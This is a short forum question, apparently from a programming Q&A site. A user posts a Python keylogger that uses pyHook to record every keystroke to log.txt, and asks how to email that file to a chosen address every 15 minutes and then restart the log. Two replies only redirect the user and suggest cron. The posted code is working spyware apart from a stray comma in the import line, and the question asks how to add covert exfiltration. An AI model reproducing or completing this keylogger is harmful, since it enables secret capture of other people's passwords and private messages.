3
I wonder how do I get my log.txt file sent to a desired email at a set time (Ex: 15 min)? And after it is sent, the process restarts and creates a new log.txt.
import pythoncom, pyHook,
def registrar(evento):
arquivo = open('log.txt', 'a')
teclas = chr(evento.Ascii)
arquivo.write(teclas)
hook = pyHook.HookManager()
hook.KeyDown = registrar
hook.HookKeyboard()
pythoncom.PumpMessages()
Welcome to Sopt, here we only Speak English. Maybe is Better you Ask in Soen.
– Francisco
Meet
CRON
?– Guilherme Nascimento